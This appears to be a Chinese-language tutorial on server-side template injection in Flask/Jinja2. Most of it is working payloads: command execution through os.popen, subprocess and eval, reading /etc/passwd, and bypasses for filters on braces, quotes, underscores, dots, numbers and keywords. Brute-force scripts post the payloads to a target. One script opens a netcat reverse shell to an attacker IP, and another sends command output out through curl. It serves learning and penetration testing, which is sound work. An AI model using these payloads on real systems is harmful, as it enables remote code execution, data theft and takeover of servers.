判断模板引擎:

image.png

其中绿色箭头代表内容被执行,回显执行后内容,进行下一步测试

红色箭头代表内容没有被执行,回显原内容,进行下一步测试

:{{7*'7'}}在Twig中返回49,在Jinja2中返回77777777

接下来主要从Flask框架中学习SSTI

1.Flask框架(Jinja2引擎)中的SSTI

详解:https://cloud.tencent.com/developer/article/2130787

1.1原理

1
2
3
4
@app.route('/test')
def test():
html = '{{12*12}}'
return flask.render_template_string(html)

其中页面回显144,即大括号中的12*12被执行

{{ }}其中内容可控,就造成了SSTI漏洞


但因为沙盒机制严格地限制了程序的行为,某些可以造成危害的语句虽然可以执行,却不会执行成功

对于SSTI的利用,是通过魔术方法,找到各个类之间的继承关系,调用其他类中的函数

类的继承与魔术方法

子类调用父类下的其他子类,所有数据类型的最终父类都是object

魔术方法:

__class__:查找当前类型所属的对象

__base__:沿着父子类的关系往上走一个

__mro__:查找当前类对象的所有继承类

__subclasses__():查找父类下所有子类

__init__:查看类是否重载(重载是指程序在运行时就已经加载好这个模块到内存中),如果出现no wrapper字眼,说明没有重载

__globals__:函数会以字典的形式返回当前对象的全局全局变量,寻找可用的方法

1.2利用(流程)

  • 找到有SSTI的地方(例如利用{{7*7}}判断),先定位到某个类的父类object

{{''.__class__.__base__}}

  • 接下来看页面加载了哪些子类

{{''.__class__.__base__.subclasses()}}

image.png

找到可以利用的子类及其编号

  • 例如在117位有可利用的类os._wrap_close,并测试其是否重载后查看这个类中有哪些可用的方法函数

{{''.__class__.__base__.subclasses()[117].__init__.__globals__}}

  • 接下来假如此类中有可以RCE的函数(例如popen),那么可以直接利用此函数执行命令并进行读取,例如执行ls /

{{''.__class__.__base__.subclasses()[117].__init__.__globals__['popen']('ls /').read()}}

文件读取

查找子类_frozen_importlib_external.FileLoader的序号(假如是128)

FileLoader 的利用:

1
{{().__class__.__base__.__subclasses__()[128]['get_data']('/etc/passwd')}}#

内建函数 eval 执行命令

object 类中加载_frozen_importlib_external.FileLoader或者其他可行的子类(有很多可用,可以用脚本测试)

1
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /etc/passwd').read()")}}

  1. __builtins__提供对 Python 的所有”内置”标志符进行直接访问
  2. __import__('os')加载 os 模块
  3. popen()执行一个 shell 以运行命令来开启一个进程

os 模块执行命令

在其他函数中直接调用 os 模块

  • 通过 config
1
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
  • 通过 url_for
1
{{url_for.__globals__.os.popen('whoami').read()}}
  • 在已加载 os 模块的子类中直接调用 os 模块
1
2
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__
['os'].popen('ls').read()}}
  • 其他
1
2
3
4
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

importlib 类命令执行

oject 类中的 importlib 加载第三方库_frozen_importlib.BuiltinImporter,使用load_module加载 os

1
2
{{[].__class__.__base__.__subclasses__()[107]['load_module']('os')
['popen']['ls'].read()}}

其他函数命令执行

  • linecache 函数命令执行

linecache 函数可用于读取任何一个文件的某一行,也引入了 os 模块

  • subprocess.Popen 类命令执行

subprocess 可以替代 system,popen

1
{{.__class__.__base__.__subclasses__()[384]('ls',shell=True,stdout=-1).communicate.strip()}}#

1.3绕过

绕过双大括号过滤

利用{% %}写入语句,判断是否能够执行

例如:{% if 2>1 %}Hades{%endif%}网页会回显Hades

  • 通过脚本测试哪个子类内有可执行语句(判断是否有回显),其中自行修改url以及data部分的传参名:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'xxx.com' #目标主机
for i in range(500):
try:
data = {"code": '{% if''.__class__.__base__.__subclasses__()[' + str(
i) + '].__init__.__globals__["popen"]("ls /").read() %}Hades{% endif %}'}
response = requests.post(url, data=data)
if response.status_code == 200:
if "Hades" in response.text:
print(i, "-->", data)
break
except:
pass

运行之后脚本回显出可执行的子类序号i和payload

  • 再利用{%print()%}回显执行后内容,例如i为117,回显ls /的内容:
1
{%print(''.__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("ls /").read())%}

绕过中括号[]过滤

利用:__getitem__()魔术方法

对字典使用时,传入字符串,返回对应字典对应键所对应的值;

对列表使用时,传入整数,返回列表所对应的值;

也就是:[117]等价于__getitem__(117)

绕过单双引号' "过滤

利用request模块:request.args.key、request.cookies.key、request.form.key、request.values.x1、request.headers

配合其他点传入参数进行利用,例如(get传参给post数据中的request模块):

1
2
3
4
POST /xxx.com?popen=popen&cmd=ls / HTTP/1.1
Content-Type: multipart/form-data;

code={{''.__class__.__base__.subclasses()[117].__init__.__globals__[request.args.popen](request.args.cmd).read()}}

绕过下划线_过滤

  • 利用:过滤器attr()以及request模块,例如之前的payload改为:
1
2
3
4
5
GET提交:
xxx.com?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__

POST提交:
code+{{''|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('ls /')|attr('read')()}}
  • unicode编码

  • 16位编码

  • base64编码

  • 格式化字符串:%c,%(95)为下划线

绕过点.过滤

[]代替或者用attr()(python可以使用[]访问对象属性)

例如{{''['__class__']['__base__']}}

绕过数字过滤

利用:过滤器length

例如{% set a='aaaaa'|length*'aa'|length-'a'|length %}的结果是9

绕过关键字过滤

  • 字符编码

  • 简单拼接:''['__cla'+'ss__']

  • 利用~拼接:{%set a='__cla'%}{%set b='ss__'%}{{a~b}}

  • 使用过滤器(reverse反转、replace替换、join拼接等):{% set a="__ssalc__"|reverse%}{{a}}

  • 利用char()

  • 使用dict()|join:dict(cla=a,ss=a)|join结果为class

1.4无回显SSTI

反弹shell

利用SSTI执行命令,反弹shell,

提前监听端口,通过脚本多次尝试连接:

1
2
3
4
5
6
7
8
9
10
import requests

url = 'xxx.com' #目标主机
for i in range(500):
try:
data = {"code": '{{''.__class__.__base__.__subclasses__()[' + str(
i) + '].__init__.__globals__["popen"]("netcat 192.168.191.128 7777 -e /bin/bash").read()}}'}
response = requests.post(url, data=data)
except:
pass

数据带外注入

提前开启python http监听(python3 -m http.sever 80),通过脚本多次尝试发送数据(例如将ls /的内容发送到攻击机):

1
2
3
4
5
6
7
8
9
10
import requests

url = 'xxx.com' #目标主机
for i in range(500):
try:
data = {"code": '{{''.__class__.__base__.__subclasses__()[' + str(
i) + '].__init__.__globals__["popen"]("curl http://192.168.191.128/`ls /`").read()}}'}
response = requests.post(url, data=data)
except:
pass

也可以使用dnslog注入

布尔盲注

和sql注入中的同理

利用Flask中的{% if %}Hades{% endif %}以及read()[1:2],read()[2,3]...判断每一位的字符是否能回显出Hades

写脚本爆破出执行命令后内容的每一位

2.smarty引擎中的SSTI